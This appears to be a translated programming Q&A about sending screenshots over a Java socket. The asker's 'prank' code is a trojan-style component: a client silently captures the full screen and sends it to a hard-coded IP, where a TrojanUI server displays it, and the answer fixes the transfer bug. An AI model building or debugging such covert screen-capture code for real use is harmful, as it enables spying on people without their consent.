Java 通过套接字发送截图

Java send screenshot over socket

我正在制作一个恶作剧程序,但无论如何还是有点用的。

我目前正在尝试做的是从客户端获取屏幕截图并在服务器上将屏幕截图作为 JFrame 打开。

经过多次尝试,我发现了这个悬而未决的问题How to send images through sockets in java?

屏幕截图通过了,但被切碎了,只有大约 120-135kb 可以通过。在投票最高的答案中,他在关闭连接之前在客户端有 Thread.sleep(),但我在没有它的情况下尝试了它,结果被切碎了,所以我按照他的说法尝试了它,但它仍然被切碎了。我的读取输入数据的客户端 Class 处于循环状态,每 100 毫秒运行一次,所以我认为它循环得太快了,所以我将其增加到 1000 毫秒,但它仍然被切碎了。

我在同一个线程上用另一个答案尝试了一些不同的东西,并在服务器端将 ImageIO.read(new ByteArrayInputStream(imageAr)) 更改为 ImageIO.read(new ByteArrayInputStream(imageAr)) 但那次没有图像进来。

这是我开始时尝试过的原始方法之一,但根本不起作用! https://javabelazy.blogspot.com/2013/10/sending-screenshot-from-client-to.html.

服务器

package UI;

import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.ByteBuffer;
import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JLabel;

public class ViewScreen implements Runnable{
private static Thread t;
@Override
public void run(){
    //Screenshot Frame
    final JFrame frame = new JFrame();
    frame.setSize(500, 500);
    frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
    t = new Thread(){
        public void run(){
            try{
                int port = 6667;
                ServerSocket serverSocket = new ServerSocket(port);
                Socket server = serverSocket.accept();
                TrojanUI.console.append("[*]Waiting for screenshot on port " + serverSocket.getLocalPort() + "...\n");
                DataInputStream in = new DataInputStream(server.getInputStream());
                DataOutputStream out = new DataOutputStream(server.getOutputStream());
                byte[] sizeAr = new byte[4];
                in.read(sizeAr);
                int size = ByteBuffer.wrap(sizeAr).asIntBuffer().get();

                byte[] imageAr = new byte[size];
                in.read(imageAr);

                BufferedImage image = ImageIO.read(new ByteArrayInputStream(imageAr));
                ImageIO.write(image, "jpg", new File("screen.jpg"));
                server.close();
                JLabel label = new JLabel();
                label.setIcon(new ImageIcon(image));
                frame.getContentPane().add(label);
            }catch(IOException e){
                e.printStackTrace();
            }
        }
    };
    t.start();
    frame.setVisible(true);
}
}

这部分服务器代码是一个新的线程,创建了一个新的socket和一个新的JFrame来显示截图。我为什么要这样做?在另一个线程上,我读到只有在套接字关闭时才会发送图像。因此,由于我不想关闭主套接字,否则我会失去连接,因此我创建了另一个套接字,该套接字将暂时打开以流式传输屏幕截图。

客户端

package tc;

import java.awt.AWTException;
import java.awt.HeadlessException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.nio.ByteBuffer;
import javax.imageio.ImageIO;

public class SendScreen{
public SendScreen(){
    try{
        //creates new socket on port 6667
        Socket sclient = new Socket("192.168.0.5",6667);
        OutputStream sOutToServer = sclient.getOutputStream();
        DataOutputStream out = new DataOutputStream(sOutToServer);
        InputStream sInFromServer = sclient.getInputStream();
        DataInputStream in = new DataInputStream(sInFromServer);

        //Takes screenshot and sends it to server as byte array
        BufferedImage screencap = new Robot().createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ImageIO.write(screencap,"jpg",baos);

        //Gets screenshot byte size and sends it to server and flushes then closes the connection
        byte[] size = ByteBuffer.allocate(4).putInt(baos.size()).array();
        out.write(size);
        out.write(baos.toByteArray());
        out.flush();
        sclient.close();
    }catch(HeadlessException | AWTException | IOException e){
        e.printStackTrace();
    }
}
}

在服务器端,我添加了另一行在本地创建图像,以便在出现任何问题时进行故障排除。

提前致谢

您假设 read() 填满了缓冲区。规范中没有任何内容是这样说的。试试这个:

int size = in.readInt();
byte[] imageAr = new byte[size];
in.readFully(imageAr);

readInt()readFully() 保证读取正确的数量,否则尝试失败。

发送端你也给自己添麻烦了。试试这个:

out.writeInt(size);
out.write(baos.toByteArray());
out.close();

请注意 close() 之前的 flush() 是多余的,但您应该关闭套接字周围最外层的输出流,而不是套接字,以使其自动刷新。

事实上,当你在每张图片后关闭连接时,你可以去掉大小字和字节数组 input/output 流,直接 ImageIO.read/write 套接字 from/to .这样会节省很多内存。